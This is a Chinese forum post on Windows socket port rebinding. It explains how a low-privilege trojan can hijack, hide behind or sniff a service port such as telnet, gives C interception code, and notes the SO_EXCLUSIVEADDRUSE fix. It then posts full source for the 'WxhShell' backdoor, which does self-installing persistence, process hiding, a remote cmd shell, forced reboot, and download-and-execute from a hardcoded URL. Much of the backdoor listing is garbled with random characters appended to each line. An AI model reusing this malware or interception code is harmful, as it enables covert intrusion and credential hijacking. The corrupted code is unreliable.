[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; w8I&:"^7<
if(chr[0]==0xd || chr[0]==0xa) { |9Ks13?Ck
pwd=0; dvF48,kr
break; 9Ib(x0_
} FH`&C*/F0Y
i++; m-92G8'
} q|l|mO
UyKG$6F?3
// 如果是非法用户，关闭 socket j)6B^!
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [:@?,?V\N
} *r$.1nke
6 <S&~q
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [;YBX]t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >I~z7JS
^QR'yt3e
while(1) { ;o459L>sW
w1(06A}/
ZeroMemory(cmd,KEY_BUFF); i9U_r._qj;
G<6grd5PP
// 自动支持客户端 telnet标准 $50"3g!Y
j=0; _5 tqO5'
while(j<KEY_BUFF) { ]GKx[F{)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m@yVG|eP#
cmd[j]=chr[0]; _k.bGYldk
if(chr[0]==0xa || chr[0]==0xd) { _x1[$A,GuB
cmd[j]=0; Al=? j#J6p
break; y@\Q@ 9
} i9k]Q(o
j++; }_l -'t
} o 0ivja
\+Ln~\Sv
// 下载文件 ]Ja8i%LjOG
if(strstr(cmd,"http://")) { w?W e|x3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :P~& b P
if(DownloadFile(cmd,wsh)) H<7DcwXv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ilu`b|%D
else ruA+1-<f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 13_~)V
} bRz^=
else { RXS|-_$
*oX]=u&
switch(cmd[0]) { pQ(eF0KG
Ss! 3{VW
// 帮助 gLMea:
case '?': { Rue|<d1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^WW|AS
break; q}v04Yy,o
} )-:eQ{st`
// 安装 ]N <]
case 'i': { %g@3S!lK
if(Install()) b_gN?F7_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BRXb<M^;_
else Dke($Jr{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q>a7Ps@~
break; yki51rOI*
} >dvWa-rNUT
// 卸载 Bx : So6:
case 'r': { (X_,*3Yxk
if(Uninstall()) .>64h H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &}6ES{Nr8
else M:UB>-`bW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ld3Bi2d|
break; lH@E%
} hN:F8r+DG
// 显示 wxhshell 所在路径 5ZyBP~
case 'p': { Zjic"E1
char svExeFile[MAX_PATH]; UQ.D!q
strcpy(svExeFile,"\n\r"); ~{,vg4L
strcat(svExeFile,ExeFile); <_a70"i
send(wsh,svExeFile,strlen(svExeFile),0); fqk Dk
break; h?3,B0G
} Lr?4Y
// 重启 Ie&b<k
case 'b': { ]pRfY9w
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E?gu(\an@
if(Boot(REBOOT)) L+~YCat|$U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cv*Q]F1%
else { jFNs=D&(
closesocket(wsh); '0_j{ig
ExitThread(0); "^ 6lvZP(
} *iRm`)zC(
break; j #I:6yA3
} <A -(&+
// 关机 O? Gl4_y
case 'd': { <[y$D=n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $]H=
if(Boot(SHUTDOWN)) hLytKPgt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :ONuWNY N
else { lO2T/1iMTW
closesocket(wsh); 2^ ,H_PS
ExitThread(0); <{NYD.
} h-b5
break; h/X5w4
} )}Rfa}MD
// 获取shell !V]MLA`
case 's': { L;--d`[
CmdShell(wsh); v :+8U[x
closesocket(wsh); 7moElh v
ExitThread(0); .qIy7_^
break; ~6-"i0k
} si^4<$Nr%j
// 退出 Z`oaaO
case 'x': { Od!F: <
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eN]>l
CloseIt(wsh); )zW%\s*'
break; 5rfH;`
} ]/o12pI
// 离开 Jny)uo8
case 'q': { Q$fRi[/L
send(wsh,msg_ws_end,strlen(msg_ws_end),0); *TM;trfz
closesocket(wsh); ksu}+i,a
WSACleanup(); #6N+5Yx_[
exit(1); AvrL9D
break; 'wz\tT^
} o=-Vt,2{
} b\?7?g
} ljYpMv.>xG
f8LrDR
// 提示信息 +^4BO`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5oU`[&=Ob
} 9|N"@0<B
} Hbjb7Y?[
crJ7pe9
return; RGl=7^M
} qY$*#*Q
?E+:]j_
// shell模块句柄 M[YTk=IM#
int CmdShell(SOCKET sock) -t@y\vZF,
{ b W=.K>|
STARTUPINFO si; 3!.H^v?
ZeroMemory(&si,sizeof(si)); 't|Un G
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .~.``a
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pHen>BA[
PROCESS_INFORMATION ProcessInfo; RIy5ww}3|
char cmdline[]="cmd"; ^)f{q)to
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &Y54QE".
return 0; 0%xR<<gir
} 4<G?
'yPCZ`5H(
// 自身启动模式 \7Gg2;TA6o
int StartFromService(void) V#'26@@
{ E0"10Qbi
typedef struct I 1b
{ $J QWfGwR
DWORD ExitStatus; Q_&}^
DWORD PebBaseAddress; Iv$:`7|crX
DWORD AffinityMask; q&XCX$N
DWORD BasePriority; M.ZEqV+k
ULONG UniqueProcessId; jWH{;V&ZV
ULONG InheritedFromUniqueProcessId; 4F05(R8k
} PROCESS_BASIC_INFORMATION; mje<d"bW
lLuID
PROCNTQSIP NtQueryInformationProcess; de> ?*%<
=X-^YG3x
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P?9nTG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u0m5JD0/
-VS9`7k
HANDLE hProcess; C#MFpT
PROCESS_BASIC_INFORMATION pbi; M{`/f@z(
:s'o~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -O|&c9W.O
if(NULL == hInst ) return 0; j/)"QiS*?
r<;l{7lY_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k?3S
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;i<$7MR.e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ic%?uWN
.6> hD1'
if (!NtQueryInformationProcess) return 0; 3B@y &a#&
*#3*;dya]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P^ptsZ%
if(!hProcess) return 0; PX;Vo~6
3/X-Cr+d
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `J72+RA
wgCvD
CloseHandle(hProcess); w3^NL(>
CF]i}xpWV
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =%!e(N'p
if(hProcess==NULL) return 0; ePf+[pV3
Dc08D4
HMODULE hMod; A0G)imsW:_
char procName[255]; V,V*30K5
unsigned long cbNeeded; 6}ce1|mkg/
}$o*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B\\6#
Lp_$?MCD.
CloseHandle(hProcess); `/z_rqJ0CL
k@#5$Ejc2
if(strstr(procName,"services")) return 1; // 以服务启动 ,zQo {.
UQ/qBbn
return 0; // 注册表启动 s[3e=N
} y8G&Wg aCi
P Q7A~dw9
// 主模块 Y4d3n
int StartWxhshell(LPSTR lpCmdLine) )FRM_$t
{ bF*NWm$Lf
SOCKET wsl; |+>uA[6#
BOOL val=TRUE; wZ#Rlv,3Wa
int port=0; ~A6"sb=
struct sockaddr_in door; {J (R
KkEv#2n
if(wscfg.ws_autoins) Install(); A]7<'el=
>ajuk
port=atoi(lpCmdLine); yQ9ZhdQS
Mtm/}I
if(port<=0) port=wscfg.ws_port; pe9@N9_5
d')-7C
WSADATA data; sONBQ9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o/C(4q6d
g& k58{e
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )l_@t(_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $f#agq_
door.sin_family = AF_INET; ~4Pc_%&i
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jk$86ma!
door.sin_port = htons(port); {@gAv!
oK2pM18
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &uv0G'"\
closesocket(wsl); U[R@x`
return 1; Z%m-HE:k
} J{`eLmTu
!22yvT.;[
if(listen(wsl,2) == INVALID_SOCKET) { j Fma|y
closesocket(wsl); 'n0 .#E_
return 1; hrbo:8SL
} TI=h_%mO
Wxhshell(wsl); QYQtMb,
WSACleanup(); #O~XVuvF0
SVagT'BB
return 0; H6gU?9%
'_dzcN,z
} K$H <}e3
ZsZcQj6G,
// 以NT服务方式启动 BYi)j6"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UNDi_6Dy
{ XF}rd.K:
DWORD status = 0; #]9hTa IR
DWORD specificError = 0xfffffff; $+cAg>
lv]quloT
serviceStatus.dwServiceType = SERVICE_WIN32; f6!D L<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6 {}JbRNf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MxOD8TDF4
serviceStatus.dwWin32ExitCode = 0; Tv5g`/e=Ej
serviceStatus.dwServiceSpecificExitCode = 0; mf' ]O,
serviceStatus.dwCheckPoint = 0; dA_YL?or
serviceStatus.dwWaitHint = 0; @m~RtC-Q
M"{uX
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !"Q}R p
if (hServiceStatusHandle==0) return; _n"Ae?TP
fj>C@p
status = GetLastError(); 09S6#;N&
if (status!=NO_ERROR) ;;Ds
{ {fV}gR2
serviceStatus.dwCurrentState = SERVICE_STOPPED; :m'+tGs
serviceStatus.dwCheckPoint = 0; u3J?bR
serviceStatus.dwWaitHint = 0; T@[!A);
serviceStatus.dwWin32ExitCode = status; f?56=& pHY
serviceStatus.dwServiceSpecificExitCode = specificError; K=?VDN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); RKZ6}q1n
return; x0Yse:RE^
} b.F^vv"]]
:?Y$bX}a
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5\Fz!
serviceStatus.dwCheckPoint = 0; {_#yz\j
serviceStatus.dwWaitHint = 0; hXn3,3f3oZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YE}s
} 4=Gph
uS+k^ #
// 处理NT服务事件，比如：启动、停止 J:j<"uPm
VOID WINAPI NTServiceHandler(DWORD fdwControl) F7MzCZvu
{ ]XA4;7
switch(fdwControl) ,FZT~?
{ 06*rWu9P3
case SERVICE_CONTROL_STOP: `zpbnxOL$T
serviceStatus.dwWin32ExitCode = 0; ^YvB9XN
serviceStatus.dwCurrentState = SERVICE_STOPPED; s%pfkoOY%
serviceStatus.dwCheckPoint = 0; ] asBd"
serviceStatus.dwWaitHint = 0; dQb.BOI)h
{ N]N4^A'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nt:9MG>1
} LfLFu9#:w
return; ;heHefbvvd
case SERVICE_CONTROL_PAUSE: x;\wY'
serviceStatus.dwCurrentState = SERVICE_PAUSED; 28andfl
break; gNpJ24QK
case SERVICE_CONTROL_CONTINUE: ;WU<CKYG*
serviceStatus.dwCurrentState = SERVICE_RUNNING; >dzsQ^Nj
break; E7zm{BX]
case SERVICE_CONTROL_INTERROGATE: ?BA^YF
break; PX(pX>
}; 8|Y.|\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "YU{Fkl#j
} |=a}iU8
J#2!ZQE 3
// 标准应用程序主函数 ? 1*m,;Z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :-`7Q\c}
{ r\`+R"
Jb["4X;h
// 获取操作系统版本 <?Wti_ /M
OsIsNt=GetOsVer(); q2rUbU_A(
GetModuleFileName(NULL,ExeFile,MAX_PATH); x]|+\1
!T,AdNa8
// 从命令行安装 8}e,%{q
if(strpbrk(lpCmdLine,"iI")) Install(); ul f2vD
6t'l(E +
// 下载执行文件 f~{}zGTM:
if(wscfg.ws_downexe) { cbYLU\!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9#d+RT
WinExec(wscfg.ws_filenam,SW_HIDE); VOTv?Vf
